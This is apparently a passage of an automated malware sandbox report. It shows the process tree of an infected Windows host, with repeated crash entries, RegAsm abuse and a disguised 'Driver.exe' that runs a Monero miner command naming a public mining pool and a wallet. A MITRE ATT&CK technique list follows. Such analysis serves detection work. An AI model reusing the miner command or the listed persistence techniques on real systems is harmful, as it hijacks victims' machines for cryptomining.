        C:\Windows\system32\WerFault.exe -u -p 1352 -s 756
        6⤵
        Program crash
        
        PID:1536
    - - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
        
        "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 88Tr2gg1S3gSbo5pMPCkeZDzr99uKjyu3RmaVqbvnQSzMp215cHmzvTBsofyDqaJ8qCf7wjbpeHigDbUwwaXdbYvAio1Up7 -p x -k -v=0 --donate-level=1 -t 1
        5⤵
        
        PID:3760

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:3852

C:\Users\Admin\AppData\Local\Temp\3D88.exe
C:\Users\Admin\AppData\Local\Temp\3D88.exe
1⤵
PID:524
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 524 -s 452
  2⤵
  - Program crash
  PID:2764
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 524 -s 460
  2⤵
  - Program crash
  PID:1916

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 936 -ip 936
1⤵
PID:3880

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 524 -ip 524
1⤵
PID:636

C:\Users\Admin\AppData\Local\Temp\4644.exe
C:\Users\Admin\AppData\Local\Temp\4644.exe
1⤵
PID:320
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 320 -s 452
  2⤵
  - Program crash
  PID:3560
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 320 -s 460
  2⤵
  - Program crash
  PID:632

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 524 -ip 524
1⤵
PID:3612

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 320 -ip 320
1⤵
PID:4040

C:\Users\Admin\AppData\Local\Temp\4CFB.exe
C:\Users\Admin\AppData\Local\Temp\4CFB.exe
1⤵
PID:1404

C:\Users\Admin\AppData\Local\Temp\5336.exe
C:\Users\Admin\AppData\Local\Temp\5336.exe
1⤵
PID:3120
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
  2⤵
  PID:2884
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2884 -s 952
    3⤵
    - Program crash
    PID:3832

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 320 -ip 320
1⤵
PID:3752

C:\Users\Admin\AppData\Local\Temp\64FA.exe
C:\Users\Admin\AppData\Local\Temp\64FA.exe
1⤵
PID:4040
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4040 -s 444
  2⤵
  - Program crash
  PID:2884
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4040 -s 488
  2⤵
  - Program crash
  PID:2136

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 4040 -ip 4040
1⤵
PID:3472

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 2888 -ip 2888
1⤵
PID:3200

C:\Users\Admin\AppData\Local\Temp\6E32.exe
C:\Users\Admin\AppData\Local\Temp\6E32.exe
1⤵
PID:3560
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3560 -s 444
  2⤵
  - Program crash
  PID:2636
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3560 -s 452
  2⤵
  - Program crash
  PID:3268

C:\Users\Admin\AppData\Local\Temp\775B.exe
C:\Users\Admin\AppData\Local\Temp\775B.exe
1⤵
PID:1796
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
  2⤵
  PID:3500

C:\Users\Admin\AppData\Local\Temp\7C4E.exe
C:\Users\Admin\AppData\Local\Temp\7C4E.exe
1⤵
PID:3848
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3848 -s 444
  2⤵
  - Program crash
  PID:3020
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3848 -s 452
  2⤵
  - Program crash
  PID:3988

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 3848 -ip 3848
1⤵
PID:3076

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 4040 -ip 4040
1⤵
PID:2624

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 3560 -ip 3560
1⤵
PID:3852

C:\Users\Admin\AppData\Local\Temp\87A9.exe
C:\Users\Admin\AppData\Local\Temp\87A9.exe
1⤵
PID:932
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 932 -s 452
  2⤵
  - Program crash
  PID:2692

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 932 -ip 932
1⤵
PID:3376

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 932 -ip 932
1⤵
PID:1956

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 648 -p 3560 -ip 3560
1⤵
PID:3472

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 3848 -ip 3848
1⤵
PID:1284

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 2884 -ip 2884
1⤵
PID:3144

C:\Users\Admin\AppData\Local\Temp\82aa4a6c48\mjlooy.exe
C:\Users\Admin\AppData\Local\Temp\82aa4a6c48\mjlooy.exe
1⤵
PID:3268

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 640 -p 1568 -ip 1568
1⤵
PID:1628

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 1568 -ip 1568
1⤵
PID:1880

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 864 -ip 864
1⤵
PID:3364

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 424 -p 1352 -ip 1352
1⤵
PID:3472

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2760

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

New Service

T1050

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

New Service

T1050

Scheduled Task

Defense Evasion

Modify Registry

T1112

Web Service

T1102

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery